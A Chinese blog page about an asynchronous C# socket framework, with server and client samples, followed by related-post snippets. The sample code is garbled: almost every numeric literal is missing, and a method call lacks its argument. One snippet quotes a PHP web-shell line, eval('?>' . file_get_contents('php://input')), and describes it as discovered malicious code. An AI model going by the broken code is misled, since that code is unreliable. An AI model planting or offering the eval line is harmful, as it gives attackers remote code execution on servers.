高性能异步Socket框架
Server:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Text;
using Spider.Network; namespace Spider.Server
{
class Program
{
static void Main(string[] args)
{
ServerConfig config=new ServerConfig()
{
BufferSize = ,
Listeners = new List<ListenerConfig>()
{
new ListenerConfig()
{
Backlog = ,
IP="any",
Port=
}
},
MaxConnection =
};
AsyncTcpHost host=new AsyncTcpHost("server.cfg");
host.Use(async (ctx, next) =>
{
Stopwatch watch = new Stopwatch();
watch.Start();
Console.WriteLine("");
await next();
Console.WriteLine("");
watch.Stop();
Console.WriteLine($"it's cost:{watch.ElapsedMilliseconds.ToString()}ms."); }).Use(async(ctx,next) =>
{
Console.WriteLine("");
if (ctx.StreamData!=null)
{
foreach (var data in ctx.StreamData)
{
Console.WriteLine(Encoding.UTF8.GetString(data));
}
}
await ctx.WriteStreamAsync(new List<byte[]>()
{
Encoding.UTF8.GetBytes("Hello Word!"),
Encoding.UTF8.GetBytes("")
});
Console.WriteLine("");
await next();
}).Start();
Console.Read();
host.Stop();
}
}
}
Client:
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Spider.Network; namespace Spider.Client
{
class Program
{
static void Main(string[] args)
{
Stopwatch watch = new Stopwatch();
watch.Start();
Test();
Console.WriteLine(watch.ElapsedMilliseconds.ToString());
Console.Read();
watch.Stop();
} private static async void Test(int count)
{
List<Task> list=new List<Task>();
for (int i = ; i < count; i++)
{
var t=await Task.Factory.StartNew(async() =>
{
using (var client=new TcpClient(IPAddress.Parse("127.0.0.1"), , ))
{
byte[] Fun(string msg)
{
StringBuilder buffer = new StringBuilder();
for (int k = ; k < ; k++)
{
buffer.Append(msg);
} return Encoding.UTF8.GetBytes(buffer.ToString());
}
//var bytes1=await client.RequestAsync(Fun("abc"));
//var bytes2 = await client.RequestAsync(Fun(""));
IList<byte[]> stream= await client.StreamRequestAsync(new List<byte[]>()
{
Encoding.UTF8.GetBytes(""),
Encoding.UTF8.GetBytes("abc"),
});
//Console.WriteLine(Encoding.UTF8.GetString(bytes1));
//Console.WriteLine(Encoding.UTF8.GetString(bytes2));
Console.WriteLine(Encoding.UTF8.GetString(stream[]));
Console.WriteLine(Encoding.UTF8.GetString(stream[]));
}
});
list.Add(t);
}
Task.WaitAll(list.ToArray());
} }
}
特别提醒:
如果发现任何问题和不足之处或者BUG请email给我:kingge163@163.com
https://files.cnblogs.com/files/kingge/HSocket.Core.Newest.Test.7z
高性能异步Socket框架的更多相关文章
- Voovan 是一个高性能异步网络框架和 HTTP(Java)
Voovan 是一个高性能异步网络框架和 HTTP 服务器框架,同时支持 HTTP 客户端抓取.动态编译支持.数据库访问封装以及 DateTime.String.Log.反射.对象工具.流操作.文件操 ...
- 一个高性能异步socket封装库的实现思路 (c#)
前言 socket是软件之间通讯最常用的一种方式.c#实现socket通讯有很多中方法,其中效率最高就是异步通讯. 异步通讯实际是利用windows完成端口(IOCP)来处理的,关于完成端口实现原理, ...
- 《Unity 3D游戏客户端基础框架》多线程异步 Socket 框架构建
引言: 之前写过一个 demo 案例大致讲解了 Socket 通信的过程,并和自建的服务器完成连接和简单的数据通信,详细的内容可以查看 Unity3D -- Socket通信(C#).但是在实际项目应 ...
- 写自己的Socket框架(一)
本系列仅介绍可用于生产环境的C#异步Socket框架,如果您在其他地方看到类似的代码,不要惊讶,那可能就是我在参考开源代码时,直接“剽窃”过来的. 1.在脑海里思考一下整个socket的链接的处理流程 ...
- 【转】C#高性能大容量SOCKET并发(二):SocketAsyncEventArgs封装
http://blog.csdn.net/sqldebug_fan/article/details/17557341 1.SocketAsyncEventArgs介绍 SocketAsyncEvent ...
- C#高性能大容量SOCKET并发(二):SocketAsyncEventArgs封装
原文:C#高性能大容量SOCKET并发(二):SocketAsyncEventArgs封装 1.SocketAsyncEventArgs介绍 SocketAsyncEventArgs是微软提供的高性能 ...
- Java异步NIO框架Netty实现高性能高并发
原文地址:http://blog.csdn.net/opengl_es/article/details/40979371?utm_source=tuicool&utm_medium=refer ...
- 可扩展多线程异步Socket服务器框架EMTASS 2.0 续
转载自Csdn:http://blog.csdn.net/hulihui/article/details/3158613 (原创文章,转载请注明来源:http://blog.csdn.net/huli ...
- C# 实现的多线程异步Socket数据包接收器框架
转载自Csdn : http://blog.csdn.net/jubao_liang/article/details/4005438 几天前在博问中看到一个C# Socket问题,就想到笔者2004年 ...
随机推荐
- OpenGL——外部读档+异常报错
从外部读取shader文件: 先添加Shader类: 再创建vertexSource.txt和fragmentSource.txt两个文件: 如图填入shader: 在shader.h宣告: 在sha ...
- css画斜线(用于时间的显示)
- 发现一个新的注入 代码 eval
下面这句代码,就是一段恶意的代码,通过form POST 提交数据即可生成脚本文件. eval('?>' . file_get_contents('php://input'));
- h5页面在ios机上禁止长按复制
(注意,增加之后需要对input的另外设置,不然输入框无法输入)场景:H5出现一个按钮需要长按几秒展示动画的,如:skcs.net-tactic.com/wap/peace/index,这时就需要用到 ...
- Porsche Piwis Tester II V15.6 with CF30 Laptop or Lenovo E49AL Laptop
Some of my customers let me recommended which auto diagnostic tool is good for Porsche , I recommend ...
- Laravel资源路由
Route::resource('article', 'ArticleController'); 如果我们以get的方式请求‘article’,会自动分发到ArticleController的crea ...
- Exp5 MSF基础应用 20164303景圣
一.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 1.一个主动攻击实践,如ms08_067; (成功) 2.一个针对浏览器的攻击,如ms1 ...
- 算法(第四版)C# 习题题解——2.5
写在前面 整个项目都托管在了 Github 上:https://github.com/ikesnowy/Algorithms-4th-Edition-in-Csharp 查找更方便的版本见:https ...
- [c/c++] programming之路(28)、结构体存储和内存对齐+枚举类型+typedef+深拷贝和浅拷贝
一.结构体存储 #include<stdio.h> #include<stdlib.h> struct info{ char c; //1 2 4 8 double num; ...
- jenkins 启动被杀死
1.重设环境变量build_id 在execute shell输入框中加入BUILD_ID=DONTKILLME,即可防止jenkins杀死启动的tomcat进程 2.在启动jenkins 的时候禁止 ...